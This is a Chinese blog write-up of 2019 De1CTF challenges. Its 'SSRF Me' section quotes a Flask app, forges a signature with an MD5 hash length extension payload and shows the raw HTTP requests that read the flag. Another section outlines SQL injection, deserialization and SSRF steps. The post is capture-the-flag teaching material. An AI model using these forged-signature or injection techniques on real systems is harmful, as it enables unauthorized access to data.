Virtua1's blog

2019 De1CTF部分wp

字数统计: 2.2k阅读时长: 11 min
2019/08/05 Share

Misc

Mine Sweeping

扫雷游戏,测试几次发现雷区是固定的,挨个试,手撕出来了–。。
建一个表格,挨个测试最后雷区之外的组成二维码,扫描二维码得到flag地址访问得到flag

Web

SSRF Me

首先访问题目发现源码:

1
#! /usr/bin/env python
2
#encoding=utf-8
3
from flask import Flask
4
from flask import request
5
import socket
6
import hashlib
7
import urllib
8
import sys
9
import os
10
import json
11
reload(sys)
12
sys.setdefaultencoding('latin1')
13
14
app = Flask(__name__)
15
16
secert_key = os.urandom(16)
17
18
19
class Task:
20
    def __init__(self, action, param, sign, ip):
21
        self.action = action
22
        self.param = param
23
        self.sign = sign
24
        self.sandbox = md5(ip)
25
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
26
            os.mkdir(self.sandbox)
27
28
    def Exec(self):
29
        result = {}
30
        result['code'] = 500
31
        if (self.checkSign()):
32
            if "scan" in self.action:
33
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
34
                resp = scan(self.param)
35
                if (resp == "Connection Timeout"):
36
                    result['data'] = resp
37
                else:
38
                    print resp
39
                    tmpfile.write(resp)
40
                    tmpfile.close()
41
                result['code'] = 200
42
            if "read" in self.action:
43
                f = open("./%s/result.txt" % self.sandbox, 'r')
44
                result['code'] = 200
45
                result['data'] = f.read()
46
            if result['code'] == 500:
47
                result['data'] = "Action Error"
48
        else:
49
            result['code'] = 500
50
            result['msg'] = "Sign Error"
51
        return result
52
53
    def checkSign(self):
54
        if (getSign(self.action, self.param) == self.sign):
55
            return True
56
        else:
57
            return False
58
59
60
#generate Sign For Action Scan.
61
@app.route("/geneSign", methods=['GET', 'POST'])
62
def geneSign():
63
    param = urllib.unquote(request.args.get("param", ""))
64
    action = "scan"
65
    return getSign(action, param)
66
67
68
@app.route('/De1ta',methods=['GET','POST'])
69
def challenge():
70
    action = urllib.unquote(request.cookies.get("action"))
71
    param = urllib.unquote(request.args.get("param", ""))
72
    sign = urllib.unquote(request.cookies.get("sign"))
73
    ip = request.remote_addr
74
    if(waf(param)):
75
        return "No Hacker!!!!"
76
    task = Task(action, param, sign, ip)
77
    return json.dumps(task.Exec())
78
79
@app.route('/')
80
def index():
81
    return open("code.txt","r").read()
82
83
84
def scan(param):
85
    socket.setdefaulttimeout(1)
86
    try:
87
        return urllib.urlopen(param).read()[:50]
88
    except:
89
        return "Connection Timeout"
90
91
92
93
def getSign(action, param):
94
    return hashlib.md5(secert_key + param + action).hexdigest()
95
96
97
def md5(content):
98
    return hashlib.md5(content).hexdigest()
99
100
101
def waf(param):
102
    check=param.strip().lower()
103
    if check.startswith("gopher") or check.startswith("file"):
104
        return True
105
    else:
106
        return False
107
108
109
if __name__ == '__main__':
110
    app.debug = False
111
    app.run(host='0.0.0.0',port=80)

审计下源码:

1
class Task:
2
    def __init__(self, action, param, sign, ip):
3
        self.action = action
4
        self.param = param
5
        self.sign = sign
6
        self.sandbox = md5(ip)
7
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
8
            os.mkdir(self.sandbox)

初始化部分,根据ip创建做题目录

1
def Exec(self):
2
    result = {}
3
    result['code'] = 500
4
    if (self.checkSign()):
5
        if "scan" in self.action:
6
            tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
7
            resp = scan(self.param)
8
           if (resp == "Connection Timeout"):
9
              result['data'] = resp
10
           else:
11
                print resp
12
                tmpfile.write(resp)
13
                tmpfile.close()
14
                result['code'] = 200
15
     if "read" in self.action:
16
         f = open("./%s/result.txt" % self.sandbox, 'r')
17
          result['code'] = 200
18
          result['data'] = f.read()
19
      if result['code'] == 500:
20
         result['data'] = "Action Error"
21
    else:
22
        result['code'] = 500
23
        result['msg'] = "Sign Error"
24
    return result

看到EXEC函数,分为两个功能,分别是scanread

1
if "scan" in self.action:
2
3
if "read" in self.action:

可以看到功能的确定是利用 action参数,scan的功能是利用scan函数访问param,访问成功的话会把返回内容写入做题目录的result.txt中,不成功就会把错误信息写入result[‘data’],看一下scan函数:

1
if "scan" in self.action:
2
    tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
3
    resp = scan(self.param)
4
        if (resp == "Connection Timeout"):
5
            result['data'] = resp
6
        else:
7
            print resp
8
            tmpfile.write(resp)
9
            tmpfile.close()
10
            result['code'] = 200

scan函数就是读取param路径的内容

1
if "read" in self.action:
2
    f = open("./%s/result.txt" % self.sandbox, 'r')
3
    result['code'] = 200
4
    result['data'] = f.read()
5
    if result['code'] == 500:
6
      result['data'] = "Action Error"
7
else:
8
    result['code'] = 500
9
    result['msg'] = "Sign Error"
10
    return result

read功能就是读取做题目录的result.txt然后写入到result[‘data’]中
进行这两个功能都会有一个check过程,利用了checkSign()函数,跟一下这个函数:

1
def checkSign(self):
2
    if (getSign(self.action, self.param) == self.sign):
3
        return True
4
    else:
5
        return False

判断利用getSign函数得到的值与self.sign是否相等,相等则check成功

1
def getSign(action, param):
2
    return hashlib.md5(secert_key + param + action).hexdigest()
3
    
4
def md5(content):
5
    return hashlib.md5(content).hexdigest()

getSign函数就是将secert_key以及传入的action, paramMD5加密,其中secert_key = os.urandom(16),action, param分别为self.action, self.param,用到MD5加密考虑有没有可能存在hash长度扩展攻击
看一下路由,存在:
/geneSign
/De1ta
/
/geneSign 定义了action = “scan”,param利用get方法获取,然后就会返回Sign值,/De1ta定义了challenge函数,这里才是我们利用的地方:

1
@app.route('/De1ta',methods=['GET','POST'])
2
def challenge():
3
    action = urllib.unquote(request.cookies.get("action"))
4
    param = urllib.unquote(request.args.get("param", ""))
5
    sign = urllib.unquote(request.cookies.get("sign"))
6
    ip = request.remote_addr
7
    if(waf(param)):
8
        return "No Hacker!!!!"
9
    task = Task(action, param, sign, ip)
10
    return json.dumps(task.Exec())

action、sign和param分别是cookie和get方式获取,然后waf检验,成功则调用Exec类中的功能。
源码基本流程就是这样,大体思路就是扩展scan功能先写flag到做题目录的result.txt中,然后扩展功能read,读取result.txt,重点就是扩展read功能这里,再看一下调用条件:

1
if (self.checkSign()):
2
    ……
3
    if "read" in self.action:
4
        ……

首先要满足sign的条件,然后action=read才可以调用,满足sign这里利用前边提到的hash长度扩展攻击,获取scan时的sign值然后扩展攻击得到read时的sign值。

首先访问param=flag.txt,得到(secert_key + flag.txtscan)

1
GET /geneSign?param=flag.txt HTTP/1.1
2
Host: 139.180.128.86
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6
Accept-Encoding: gzip, deflate
7
DNT: 1
8
Connection: keep-alive
9
Upgrade-Insecure-Requests: 1
10
Cache-Control: max-age=0
11
Content-Length: 4

sign:8370bdba94bd5aaf7427b84b3f52d7cb

利用脚本或者hashpump扩展攻击:

1
λ python md5pad.py 8370bdba94bd5aaf7427b84b3f52d7cb scan read 28
2
Payload:  'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read'
3
Payload urlencode: scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read
4
md5: d7163f39ab78a698b3514fd465e4018a

扩展read功能读取flag:

1
GET /De1ta?param=flag.txt HTTP/1.1
2
Host: 139.180.128.86
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6
Accept-Encoding: gzip, deflate
7
DNT: 1
8
Connection: keep-alive
9
Upgrade-Insecure-Requests: 1
10
Cache-Control: max-age=0
11
Content-Length: 2
12
Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read;sign=d7163f39ab78a698b3514fd465e4018a
1
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}

这题的考点就是hash长度扩展攻击,还是比较简单的。

ShellShellShell

这题没有做出来,说一下大体的思路。
根据N1CTF2018 修改的题目,扫描目录发现源码泄露,之后得到index.php、config.php、user.php的源码,还有phpinfo页面,然后代码审计。解题思路:先是利用insert处盲注得到 注册的用户id 然后插入新的数据,登陆admin,之后得到admin的密码:jaivypassword
但是还不能登陆因为admin关闭了异地登录,必须来自 127.0.0.1可以,看到获取ip的函数,伪造不了ip,只能寻找一处ssrf来伪造ip,在user.php 函数 showmess()里会因为sql注入引发反序列化漏洞,并没有找到可利用的类,看到phpinfo:
099b55e9ec760c848cfef05dd74660b2.png
然后利用php原生类构造分序列化,参考l3m0n师傅的文章,构造好poc之后登陆admin,之后就没做出来了。。

Crypto

xorz

题目给了一个简单的异或脚本:

1
from itertools import *
2
from data import flag,plain
3
4
key=flag.strip("de1ctf{").strip("}")
5
assert(len(key<38))
6
salt="WeAreDe1taTeam"
7
ki=cycle(key)
8
si=cycle(salt)
9
cipher = ''.join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si)))[2:].zfill(2) for p in plain])
10
print cipher

三者进行异或,未知部分有两个,flag和plain,最后输出的结果是16进制的数字两位
salt和key都是循环利用的,salt是已知的因此先把salt层异或去掉,因为异或后会产生不可打印字符,为了完整,异或后base64编码一下,保存到文件

1
# -*-coding:utf-8
2
from itertools import *
3
import base64
4
5
f = open("11.txt","w")
6
cipher = '这里省略cipher了'
7
salt="WeAreDe1taTeam"
8
9
i = 0
10
s1 = ''
11
si = cycle(salt)
12
while i < 1199:
13
	s1 += chr(int(("0x"+cipher[i:i+2]),16) ^ ord(next(si)))
14
	i += 2
15
#print (len(s1))
16
#print(base64.b64encode(s1))
17
f.write(base64.b64encode(s1))

去掉salt层,就剩下p和key了,key就是我们要求的flag,这里注意到key位数小于38,所以是用key来循环异或加密的,想到爆破还是可能的,但是不知道脚本没写出来tcl
google发现了新大陆,对于利用重复密钥异或的情况有现成的脚本:Break repeating-key XOR

该方法利用了汉明距离hamming_distance

hamming_distance:
在信息论中表示两个等长字符串在对应位置上不同字符的数目 以d(x, y)表示字符串x和y之间
的汉明距离 简单来说 汉明距离度量了通过替换字符的方式将字符串x变成y所需要的最小的替换次数

The Hamming distance between:

  • “karolin” and “kathrin” is 3.
  • “karolin” and “kerstin” is 3.
  • 1011101 and 1001001 is 2.
  • 2173896 and 2233796 is 3.

5cd518f06f79c82f43f71235cede4820.png

CATALOG
  1. 1. Misc
    1. 1.0.1. Mine Sweeping
  • 2. Web
    1. 2.1. SSRF Me
    2. 2.2. ShellShellShell
  • 3. Crypto
    1. 3.1. xorz